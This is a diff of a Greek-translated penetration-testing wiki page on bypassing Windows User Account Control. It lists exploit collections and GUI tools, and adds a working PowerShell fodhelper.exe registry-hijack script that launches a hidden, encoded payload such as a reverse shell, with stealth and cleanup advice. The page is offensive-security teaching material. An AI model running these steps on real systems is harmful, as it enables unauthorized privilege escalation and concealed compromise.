|
||||
### KRBUACBypass
|
||||
|
||||
Documentation and tool in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||
Τεκμηρίωση και εργαλείο στο [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
|
||||
|
||||
### UAC bypass exploits
|
||||
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME)που είναι μια **συλλογή** αρκετών UAC bypass exploits. Σημειώστε ότι θα χρειαστεί να **compile UACME χρησιμοποιώντας visual studio ή msbuild**. Η συλλογή θα δημιουργήσει αρκετά executables (όπως `Source\Akagi\outout\x64\Debug\Akagi.exe`), θα χρειαστεί να γνωρίζετε **ποιο χρειάζεστε.**\
|
||||
Πρέπει να **είστε προσεκτικοί** γιατί μερικά bypass θα **προκαλέσουν άλλες εφαρμογές** που θα **ειδοποιήσουν** τον **χρήστη** ότι κάτι συμβαίνει.
|
||||
[**UACME** ](https://github.com/hfiref0x/UACME) το οποίο είναι μια **συλλογή** από αρκετά UAC bypass exploits. Σημειώστε ότι θα χρειαστεί να **compile UACME using visual studio or msbuild**. Η μεταγλώττιση θα δημιουργήσει αρκετά εκτελέσιμα (όπως `Source\Akagi\outout\x64\Debug\Akagi.exe`) , θα πρέπει να ξέρετε **ποιο χρειάζεστε.**\
|
||||
Θα πρέπει **να είστε προσεκτικοί** γιατί κάποια bypasses θα **προκαλέσουν την εμφάνιση προτροπών σε κάποια άλλα προγράμματα** που θα **ειδοποιήσουν** τον **χρήστη** ότι κάτι συμβαίνει.
|
||||
|
||||
Το UACME έχει την **έκδοση build από την οποία κάθε τεχνική άρχισε να λειτουργεί**. Μπορείτε να αναζητήσετε μια τεχνική που επηρεάζει τις εκδόσεις σας:
|
||||
Το UACME περιλαμβάνει την **build version από την οποία κάθε technique άρχισε να λειτουργεί**. Μπορείτε να αναζητήσετε μια technique που επηρεάζει τις εκδόσεις σας:
|
||||
```
|
||||
PS C:\> [environment]::OSVersion.Version
|
||||
|
||||
@ -156,41 +157,79 @@ Major Minor Build Revision
|
||||
----- ----- ----- --------
|
||||
10 0 14393 0
|
||||
```
|
||||
Επίσης, χρησιμοποιώντας [this](https://en.wikipedia.org/wiki/Windows_10_version_history) σελίδα, μπορείτε να αποκτήσετε την έκδοση Windows `1607` από τις εκδόσεις build.
|
||||
Επίσης, χρησιμοποιώντας [this](https://en.wikipedia.org/wiki/Windows_10_version_history) παίρνετε την έκδοση Windows `1607` από τους αριθμούς build.
|
||||
|
||||
#### Περισσότερο UAC bypass
|
||||
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||
|
||||
**Όλες** οι τεχνικές που χρησιμοποιούνται εδώ για να παρακάμψουν το AUC **απαιτούν** μια **πλήρη διαδραστική κονσόλα** με το θύμα (μια κοινή κονσόλα nc.exe δεν είναι αρκετή).
|
||||
Το trusted binary `fodhelper.exe` είναι auto-elevated σε σύγχρονα Windows. Όταν εκκινείται, ερωτά την per-user registry path παρακάτω χωρίς να επικυρώνει το verb `DelegateExecute`. Τοποθετώντας μια εντολή εκεί επιτρέπει σε μια Medium Integrity process (ο χρήστης είναι στους Administrators) να spawn-άρει μια High Integrity process χωρίς UAC prompt.
|
||||
|
||||
Μπορείτε να αποκτήσετε πρόσβαση χρησιμοποιώντας μια **meterpreter** συνεδρία. Μεταναστεύστε σε μια **διαδικασία** που έχει την τιμή **Session** ίση με **1**:
|
||||
Registry path queried by fodhelper:
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
Βήματα PowerShell (ορίστε το payload σας, και μετά εκτελέστε):
|
||||
```powershell
|
||||
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||
|
||||
# 1) Create the vulnerable key and values
|
||||
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
|
||||
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
|
||||
|
||||
# 2) Set default command to your payload (example: reverse shell or cmd)
|
||||
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
|
||||
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
|
||||
|
||||
# 3) Trigger auto-elevation
|
||||
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||
|
||||
# 4) (Recommended) Cleanup
|
||||
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Λειτουργεί όταν ο τρέχων χρήστης είναι μέλος των Administrators και το επίπεδο UAC είναι προεπιλεγμένο/επιεικές (όχι Always Notify με επιπλέον περιορισμούς).
|
||||
- Χρησιμοποιήστε τη διαδρομή `sysnative` για να ξεκινήσετε ένα 64-bit PowerShell από μια 32-bit διεργασία σε 64-bit Windows.
|
||||
- Το payload μπορεί να είναι οποιαδήποτε εντολή (PowerShell, cmd, ή μια διαδρομή EXE). Αποφύγετε UI που εμφανίζουν προτροπές για λόγους stealth.
|
||||
|
||||
#### Περισσότερες παρακάμψεις UAC
|
||||
|
||||
**Όλες** οι τεχνικές που χρησιμοποιούνται εδώ για να παρακαμφθεί η AUC **απαιτούν** ένα **πλήρες διαδραστικό shell** με το θύμα (ένα κοινό nc.exe shell δεν αρκεί).
|
||||
|
||||
Μπορείτε να το πετύχετε χρησιμοποιώντας μια συνεδρία **meterpreter**. Μεταναστεύστε σε μια **διαδικασία** που έχει την **Session** τιμή ίση με **1**:
|
||||
|
||||
.png>)
|
||||
|
||||
(_explorer.exe_ θα πρέπει να λειτουργεί)
|
||||
|
||||
### UAC Bypass με GUI
|
||||
### Παράκαμψη UAC με GUI
|
||||
|
||||
Αν έχετε πρόσβαση σε μια **GUI μπορείτε απλά να αποδεχθείτε την προτροπή UAC** όταν την λάβετε, δεν χρειάζεστε πραγματικά μια παράκαμψη. Έτσι, η απόκτηση πρόσβασης σε μια GUI θα σας επιτρέψει να παρακάμψετε το UAC.
|
||||
Αν έχετε πρόσβαση σε **GUI μπορείτε απλώς να αποδεχτείτε το UAC prompt** όταν το λάβετε, δεν χρειάζεστε πραγματικά παρακάμψη. Έτσι, η πρόσβαση σε GUI θα σας επιτρέψει να παρακάμψετε το UAC.
|
||||
|
||||
Επιπλέον, αν αποκτήσετε μια συνεδρία GUI που κάποιος χρησιμοποιούσε (πιθανώς μέσω RDP) υπάρχουν **ορισμένα εργαλεία που θα εκτελούνται ως διαχειριστής** από όπου θα μπορούσατε να **τρέξετε** ένα **cmd** για παράδειγμα **ως διαχειριστής** απευθείας χωρίς να σας ζητηθεί ξανά από το UAC όπως [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Αυτό μπορεί να είναι λίγο πιο **αθόρυβο**.
|
||||
Επιπλέον, αν αποκτήσετε μια GUI συνεδρία που κάποιος χρησιμοποιούσε (πιθανόν μέσω RDP) υπάρχουν **κάποια εργαλεία που θα τρέχουν ως administrator** από όπου θα μπορούσατε να **τρέξετε** ένα **cmd**, για παράδειγμα, **ως admin** απευθείας χωρίς να σας ζητηθεί ξανά από το UAC, όπως [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Αυτό μπορεί να είναι πιο **stealthy**.
|
||||
|
||||
### Θορυβώδης brute-force UAC bypass
|
||||
### Θορυβώδης brute-force παράκαμψη UAC
|
||||
|
||||
Αν δεν σας νοιάζει να είστε θορυβώδεις, μπορείτε πάντα να **τρέξετε κάτι όπως** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) που **ζητά να ανυψώσει δικαιώματα μέχρι ο χρήστης να το αποδεχθεί**.
|
||||
Αν δεν σας ενδιαφέρει ο θόρυβος μπορείτε πάντα να **τρέξετε κάτι σαν** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) που **ζητά να αυξήσει τα δικαιώματα μέχρι ο χρήστης να τα αποδεχτεί**.
|
||||
|
||||
### Η δική σας παράκαμψη - Βασική μεθοδολογία UAC bypass
|
||||
### Η δική σας παράκαμψη - Βασική μεθοδολογία παράκαμψης UAC
|
||||
|
||||
Αν ρίξετε μια ματιά στο **UACME** θα παρατηρήσετε ότι **οι περισσότερες παρακάμψεις UAC εκμεταλλεύονται μια ευπάθεια Dll Hijacking** (κυρίως γράφοντας το κακόβουλο dll στο _C:\Windows\System32_). [Διαβάστε αυτό για να μάθετε πώς να βρείτε μια ευπάθεια Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
Αν ρίξετε μια ματιά στο **UACME** θα παρατηρήσετε ότι **οι περισσότερες παρακάμψεις UAC εκμεταλλεύονται μια ευπάθεια Dll Hijacking** (κυρίως γράφοντας το κακόβουλο dll στο _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
|
||||
1. Βρείτε ένα δυαδικό που θα **αυτοανυψώνεται** (ελέγξτε ότι όταν εκτελείται τρέχει σε υψηλό επίπεδο ακεραιότητας).
|
||||
1. Βρείτε ένα binary που θα **autoelevate** (ελέγξτε ότι όταν εκτελείται τρέχει σε υψηλό επίπεδο ακεραιότητας).
|
||||
2. Με το procmon βρείτε γεγονότα "**NAME NOT FOUND**" που μπορεί να είναι ευάλωτα σε **DLL Hijacking**.
|
||||
3. Πιθανώς θα χρειαστεί να **γράψετε** το DLL μέσα σε κάποιες **προστατευμένες διαδρομές** (όπως C:\Windows\System32) όπου δεν έχετε δικαιώματα εγγραφής. Μπορείτε να παρακάμψετε αυτό χρησιμοποιώντας:
|
||||
1. **wusa.exe**: Windows 7,8 και 8.1. Επιτρέπει την εξαγωγή του περιεχομένου ενός CAB αρχείου μέσα σε προστατευμένες διαδρομές (επειδή αυτό το εργαλείο εκτελείται από υψηλό επίπεδο ακεραιότητας).
|
||||
3. Πιθανότατα θα χρειαστεί να **γράψετε** το DLL μέσα σε μερικές **προστατευμένες διαδρομές** (όπως C:\Windows\System32) όπου δεν έχετε δικαιώματα εγγραφής. Μπορείτε να παρακάμψετε αυτό χρησιμοποιώντας:
|
||||
1. **wusa.exe**: Windows 7, 8 και 8.1. Σας επιτρέπει να εξαγάγετε το περιεχόμενο ενός CAB αρχείου σε προστατευμένες διαδρομές (επειδή αυτό το εργαλείο εκτελείται σε υψηλό επίπεδο ακεραιότητας).
|
||||
2. **IFileOperation**: Windows 10.
|
||||
4. Ετοιμάστε ένα **script** για να αντιγράψετε το DLL μέσα στην προστατευμένη διαδρομή και να εκτελέσετε το ευάλωτο και αυτοανυψωμένο δυαδικό.
|
||||
4. Ετοιμάστε ένα **script** για να αντιγράψετε το DLL σας μέσα στη προστατευμένη διαδρομή και να εκτελέσετε το ευάλωτο και autoelevated binary.
|
||||
|
||||
### Μια άλλη τεχνική UAC bypass
|
||||
### Άλλη τεχνική παράκαμψης UAC
|
||||
|
||||
Αποτελείται από την παρακολούθηση αν ένα **autoElevated binary** προσπαθεί να **διαβάσει** από το **μητρώο** το **όνομα/διαδρομή** ενός **δυαδικού** ή **εντολής** που θα **εκτελεστεί** (αυτό είναι πιο ενδιαφέρον αν το δυαδικό αναζητά αυτές τις πληροφορίες μέσα στο **HKCU**).
|
||||
Συνίσταται στο να παρακολουθείτε αν ένα **autoElevated binary** προσπαθεί να **διαβάσει** από το **registry** το **όνομα/διαδρομή** ενός **binary** ή **εντολής** που θα **εκτελεστεί** (αυτό είναι πιο ενδιαφέρον αν το binary αναζητά αυτή την πληροφορία στο **HKCU**).
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
|
||||
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
|
||||
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user